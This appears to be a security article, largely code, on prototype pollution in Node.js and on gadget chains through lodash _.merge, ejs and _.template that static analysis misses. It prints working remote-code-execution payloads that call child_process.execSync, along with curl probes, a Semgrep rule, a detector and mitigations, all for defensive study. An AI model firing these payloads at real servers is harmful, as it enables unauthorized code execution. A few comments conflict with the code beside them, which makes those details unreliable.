Prototype Pollution in Node.js:
Why Your SAST Rules Are Ten Years Behind

// Direct prototype assignment — SAST rules typically catch this
const obj = {};
obj['__proto__']['isAdmin'] = true;

// Now every plain object has isAdmin = true
const user = {};
console.log(user.isAdmin);  // true — polluted from attacker input

// Same via constructor prototype
obj.constructor.prototype.isAdmin = true;

// If the key comes from user input, SAST still usually catches it:
function setProperty(obj, key, value) {
  obj[key] = value;  // SAST: "potential prototype pollution"
}

// Inside ejs (simplified — before the fix)
function compile(template, opts) {
  // opts comes from the caller — but if Object.prototype is polluted,
  // reading opts.outputFunctionName gets the attacker's value
  var outputFunctionName = opts.outputFunctionName;

  // This string gets eval'd as a function body
  var src = '"use strict"\n';
  if (outputFunctionName) {
    src += 'var ' + outputFunctionName + ' = [];\n';
    // ← attacker controls this string, injecting arbitrary JS
  }
  // src gets compiled via new Function(src)
}

// The exploit payload in the HTTP request body:
// {
//   "__proto__": {
//     "outputFunctionName": "_tmp1;require('child_process').execSync('id > /tmp/pwned');//"
//   }
// }

// When merged via _.merge(config, userInput) and then ejs renders any template:
// new Function('var _tmp1;require("child_process").execSync("id > /tmp/pwned");//... = []')
// → executes on the server

const express = require('express');
const ejs = require('ejs');             // versions < 3.1.7
const _ = require('lodash');             // versions < 4.17.21
const app = express();

app.use(express.json());

// This endpoint looks completely benign to SAST
app.post('/settings', async (req, res) => {
  // User provides their display preferences
  const userPrefs = req.body;
  const defaults = { theme: 'dark', language: 'en' };

  // Merge user preferences with defaults — looks fine to SAST
  const config = _.merge({}, defaults, userPrefs);

  // Render a template with the config
  const html = await ejs.renderFile('views/settings.ejs', { config });
  res.send(html);
});

// SAST sees: express endpoint, _.merge, ejs.renderFile
// SAST does NOT see: that _.merge on user JSON pollutes __proto__,
// and that ejs reads outputFunctionName from the prototype chain
// and evals it. No taint flow alert. No warning. Clean report.

// Step 1: Pollute Object.prototype.variable
const payload = JSON.parse('{"__proto__":{"variable":"a;process.mainModule.require(\'child_process\').execSync(\'id\');//"}}');
_.merge({}, payload);
// Now Object.prototype.variable = "a;process.mainModule.require('child_process').execSync('id');//"

// Step 2: Somewhere else in the application, a template is compiled
// (could be in a completely different module)
const template = _.template('Hello <%= name %>');
// lodash reads opts.variable from the prototype chain
// constructs: "with(obj){ a;process.mainModule.require('child_process').execSync('id');//... }"
// compiles this as a function → executes on call

const result = template({ name: 'World' });  // ← RCE happens here

// What SAST sees on the vulnerable line: _.merge({}, userInput)
// Some SAST tools might flag this as "prototype pollution source"
// None will trace the sink to _.template() in a different module

rules:
  - id: prototype-pollution-via-merge
    patterns:
      - pattern: |
          _.merge($DEST, ..., $USER_INPUT, ...)
      - pattern-either:
        - pattern: $USER_INPUT = $REQ.body
        - pattern: $USER_INPUT = $REQ.query
        - pattern: $USER_INPUT = JSON.parse(...)
    message: "_.merge with user-controlled input may enable prototype pollution"
    severity: WARNING

# This rule fires on the merge — correct.
# It does NOT tell you whether there is an ejs.renderFile or _.template
# call anywhere in the codebase that makes this exploitable as RCE.
# It reports the same severity whether the gadget exists or not.
# Without the gadget analysis, the finding severity is wrong.

# Test 1: Basic prototype pollution probe
curl -X POST https://your-app.com/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"__proto__":{"polluted":true}}'

# Test 2: Constructor prototype path
curl -X POST https://your-app.com/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"constructor":{"prototype":{"polluted":true}}}'

# Test 3: ejs outputFunctionName gadget probe
# Safe indicator: if the response contains "id" command output
curl -X POST https://your-app.com/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"__proto__":{"outputFunctionName":"_tmp1;global.polluted=true;//"}}'

# After sending the above, probe a template-rendering endpoint:
curl https://your-app.com/  # if this crashes or behaves differently → potential gadget

# Test 4: pp-finder — automated gadget discovery
# https://github.com/nicktindall/pp-finder
node -e "
const ppfinder = require('pp-finder');

// Load your app's dependencies to find gadgets
ppfinder.scan({
  packages: ['ejs', 'lodash', 'handlebars', 'pug'],
  properties: ['outputFunctionName', 'variable', 'proto', 'constructor']
}).then(gadgets => console.log(JSON.stringify(gadgets, null, 2)));
"

// Add this to your integration test suite
// Run it after any request that processes user JSON

function checkPrototypePollution() {
  const knownSafe = [
    // Properties that should never appear on a fresh plain object
    'polluted', 'outputFunctionName', 'variable', 'escape', '__exposeStack'
  ];

  const fresh = {};
  for (const prop of knownSafe) {
    if (fresh[prop] !== undefined) {
      throw new Error(`Object.prototype polluted: fresh object has .${prop} = ${fresh[prop]}`);
    }
  }
}

// In Express middleware — run after every request in testing:
app.use((req, res, next) => {
  res.on('finish', () => {
    try { checkPrototypePollution(); }
    catch (e) { console.error('PROTOTYPE POLLUTION DETECTED:', e.message); }
  });
  next();
});

// Option 1: JSON.parse with prototype-safe reviver
function safeParseJSON(str) {
  return JSON.parse(str, (key, value) => {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      return undefined;
    }
    return value;
  });
}

// Option 2: Use Object.create(null) for merge targets
// Objects created with null prototype have no prototype chain to pollute
const safeTarget = Object.create(null);
_.merge(safeTarget, userInput);
// safeTarget.__proto__ is undefined, not Object.prototype

// Option 3: Use structured clone (Node 17+) — doesn't copy non-serializable
const safe = structuredClone(userInput);
// structuredClone ignores __proto__ keys in the serialization

// Option 4: Freeze Object.prototype in test environments to catch pollution early
Object.freeze(Object.prototype);
// Any attempt to write to Object.prototype will throw in strict mode

// At the very top of your main entry point, before any requires
if (process.env.NODE_ENV === 'production') {
  Object.freeze(Object.prototype);
  Object.freeze(Function.prototype);
  Object.freeze(Array.prototype);
}

// Caveat: this can break libraries that legitimately extend prototypes.
// Test thoroughly before enabling in production.
// In strict mode, pollution attempts throw instead of silently failing.

// Alternative: use --frozen-intrinsics flag in Node.js (experimental)
// node --frozen-intrinsics app.js